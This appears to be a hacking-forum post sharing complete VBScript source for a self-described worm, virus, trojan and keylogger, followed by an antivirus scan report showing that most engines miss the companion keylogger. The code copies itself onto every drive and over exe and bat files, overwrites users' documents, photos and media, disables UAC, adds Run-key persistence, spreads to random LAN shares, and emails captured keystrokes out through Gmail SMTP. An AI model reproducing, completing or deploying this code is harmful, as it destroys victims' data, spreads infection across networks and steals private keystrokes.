13 Years of Service
16%
Its a vbs script with keylogger functionality . . .
Code:
>' Enigma Code Computer WoRm 2.0 - by (BlackBox)
' Compiled with the VbsEdit Program
'----------------------------------------------------
' USB Spreading
'----------------------------------------------------
On Error Resume Next
Dim drive, machine
For Each drive In machine
If (drive.DriveType = 2) Or (drive.DriveType = 3) Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\Windows\Setup.com", True
fso.CopyFile Wscript.ScriptFullName, "C:\Windows\Data.vbs", True
fso.CopyFile Wscript.ScriptFullName, "C:\windows\Program.exe", True
fso.CopyFile Wscript.ScriptFullName, "A:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "B:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "D:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "E:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "F:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "G:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "H:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "I:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "J:\Game.com", True
fso.CopyFile Wscript.ScriptFullName, "K:\Game.com", True
End If
Next
'----------------------------------------------------
' Returns the current directory
'----------------------------------------------------
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFolder(".")
strDir = (f1)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set objDir = FSO.GetFolder(strDir)
getInfo(objDir)
Sub getInfo(pCurrentDir)
'----------------------------------------------------
' File Infector Code
'----------------------------------------------------
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "jpg" Then
Set file = fso.CreateTextFile(aItem.Name, True)
file.Write "Enigma Code Computer WoRm 5.0 - By (BlackBox)"
End If
Next
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "doc" Then
Set file = fso.CreateTextFile(aItem.Name, True)
file.Write "Enigma Code Computer WoRm 5.0 - By (BlackBox)"
End If
Next
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "mp3" Then
Set file = fso.CreateTextFile(aItem.Name, True)
file.Write "Enigma Code Computer WoRm 5.0 - By (BlackBox)"
End If
Next
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "avi" Then
Set file = fso.CreateTextFile(aItem.Name, True)
file.Write "Enigma Code Computer WoRm 5.0 - By (BlackBox)"
End If
Next
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "txt" Then
Set file = fso.CreateTextFile(aItem.Name, True)
file.Write "Enigma Code Computer WoRm 5.0 - By (BlackBox)"
End If
Next
'----------------------------------------------------
' Executable File Spreading
'----------------------------------------------------
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "exe" Then
fso.CopyFile Wscript.ScriptFullName, aItem.Name, True
End If
Next
'----------------------------------------------------
' Batch File Spreading
'----------------------------------------------------
For Each aItem In pCurrentDir.Files
If LCase(Right(Cstr(aItem.Name), 3)) = "bat" Then
fso.CopyFile Wscript.ScriptFullName, aItem.Name, True
End If
Next
End Sub
'----------------------------------------------------
' WoRm Installation
'----------------------------------------------------
Set Shell = CreateObject("wscript.shell")
DesktopPath = Shell.SpecialFolders("Desktop")
Set link = Shell.CreateShortCut(DesktopPath & "\Readme.lnk")
link.Description = "Text file"
link.IconLocation = "%SystemRoot%\system32\SHELL32.dll,1"
link.TargetPath = "C:\windows\Program.exe"
link.WindowStyle = 3
link.WorkingDirectory = "C:\windows\Program.exe"
link.Save
'----------------------------------------------------
' Clean Up!
'----------------------------------------------------
Set WShShell = WScript.CreateObject("WScript.Shell")
Value = WSHShell.RegRead ("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KL")
If Value = "C:\Windows\KL.exe" Then
WSHShell.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KL"
End If
'----------------------------------------------------
' Registry Entry
'----------------------------------------------------
Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft", 1, "REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft", "C:\Windows\Setup.com", "REG_SZ"
'----------------------------------------------------
' UAC Bypass
'----------------------------------------------------
Set WShShell = WScript.CreateObject("WScript.Shell")
Value = WSHShell.RegRead ("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA")
If Value = "1" Then
WSHShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"
End If
If (day(Now)=25) Then
'----------------------------------------------------
' The "Enigma Code"
'----------------------------------------------------
Function IP()
rand = int((5 * rnd) + 1) ' IP Addresses
End Function
function Network()
lan = Int((2 * Rnd) + 1) ' Network Routers
End Function
Do Until counter = 10
Dim WshNetwork, filesys, file, rand, lan
Set WshNetwork = WScript.CreateObject("WScript.Network")
Set filesys = CreateObject("Scripting.FileSystemObject")
Set file = filesys.GetFile("C:\Windows\Setup.com")
If filesys.FolderExists("C:\Users") Then
file.Copy ("C:\Users\Setup.com")
Else
End If
On Error Resume Next
Randomize
Network()
IP()
counter=counter + 1
octa="192"
octb="168"
octc=lan
octd=rand
WshNetwork.MapNetworkDrive "Z:", "\\" & octa & "." & octb & "." & octc & "." & octd & "\SharedDocs"
file.Copy ("Z:\Setup.com")
Disconnectdrive()
Loop
function Disconnectdrive()
wshnetwork.removenetworkdrive "Z:"
driveconnected = "0"
End Function
Else
End If
'----------------------------------------------------
' Keylogger!
'----------------------------------------------------
Set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists("C:\Windows\KL.exe") Then
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KL", 1, "REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KL", "C:\Windows\KL.exe", "REG_SZ"
Set WShShell = WScript.CreateObject("WScript.Shell")
Value = WSHShell.RegRead ("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KL")
If Value = "C:\Windows\KL.exe" Then
WSHShell.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft"
End If
If filesys.FileExists("C:\Windows\photo.jpg") Then
user = "??????????????????" ' Make fake Email Address for Keystroke Logging!!!
pass = "password" ' Password here!
Set objmessage = CreateObject("CDO.Message")
objmessage.Subject = "Enigma Code Computer WoRm 5.0"
objmessage.From = user
objmessage.To = user
objmessage.TextBody = "Here are your keystrokes!"
objmessage.AddAttachment "C:\Windows\photo.jpg"
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = user
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = pass
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
objmessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30
objmessage.Configuration.Fields.Update
objmessage.Send
Set objmessage = Nothing
Wscript.Quit
Else
End If
Else
'----------------------------------------------------
' Keylogger Downloader!!!
'----------------------------------------------------
Set objExplorer = WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate "about:blank"
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Width=400
objExplorer.Height = 200
objExplorer.Left = 0
objExplorer.Top = 0
Do While (objExplorer.Busy)
On Error Resume Next
Wscript.Sleep 200
Loop
objExplorer.Visible = 1
objExplorer.Document.Body.InnerHTML = "This will take a few minutes to complete."
strComputer = "."
Set colServices = GetObject("winmgmts:\\" & strComputer & "\root\cimv2"). _
ExecQuery("Select * from Win32_Service")
For Each objService in colServices
On Error Resume Next
Wscript.Sleep 200
Next
objExplorer.Document.Body.InnerHTML = "Service information retrieved. "
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Do
Set colProcessList1 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'Update (KB976004).exe'")
For Each objProcess in colProcessList1
On Error Resume Next
Set file = filesys.GetFile("Update (KB976004).exe")
file.Copy ("C:\Windows\KL.exe")
Wscript.Quit
Next
Loop
End If' The Keylogger works great and now this Computer WoRm
' is a Virus; WoRm; Trojan; and Spyware all in one!
' Virus Code has been tested on the 29th December 2012.
'
' The "Update (KB976004)" file needs to be Uploaded for this Spyware
' to work correctly on any URL.
Download Keylogger:
This link is hidden for visitors. Please Log in or register now.
Scan of Keylogger
File Info:
File Name: Update (KB976004).exe
SHA1: 31c442879dd5f462f57fb2bb7672b07b220f4749
MD5: c01267bacbdddd051837e4c6fe7ca849
Date|Time: 17-07-13,08:49:12
Report Generated by
This link is hidden for visitors. Please Log in or register now.
File Size: 478180 Bytes
Detection: 14 of 35
Detections:
AVG Free-Clean
ArcaVir-Clean
Avast-Clean
AntiVir (Avira)-TR\/Shutdowner.loq
BitDefender-Trojan.Generic.KDV.838323
VirusBuster Internet Security-Clean
Clam Antivirus-Clean
COMODO Internet Security-Clean
Dr.Web-Trojan.Shutdown.1702
eTrust-Vet-Clean
F-PROT Antivirus-Clean
F-Secure Internet Security-Trojan.Generic.KDV.838323
G Data-Trojan.Generic.KDV.838323
IKARUS Security-Trojan.Win32.Shutdowner
Kaspersky Antivirus-Trojan.Win32.Shutdowner.loq
McAfee-Clean
MS Security Essentials-Clean
ESET NOD32-Trojan.Win32\/Spy.KeyLogger.NXN
Norman-winpe\/Shutdowner.CEB
Norton Antivirus-Clean
Panda Security-Suspicious
A-Squared-Trojan.Win32.Shutdowner!IK
Quick Heal Antivirus-Clean
Solo Antivirus-Clean
Sophos-Clean
Trend Micro Internet Security-Clean
VBA32 Antivirus-infected Trojan.Shutdowner
Zoner AntiVirus-Clean
Ad-Aware-Trojan.Win32.Generic!BT
BullGuard-Clean
Immunet Antivirus-Clean
K7 Ultimate-Riskware ( 0040f0fb1 )
NANO Antivirus-Clean
Panda CommandLine-Clean
VIPRE-Clean
Last edited by a moderator: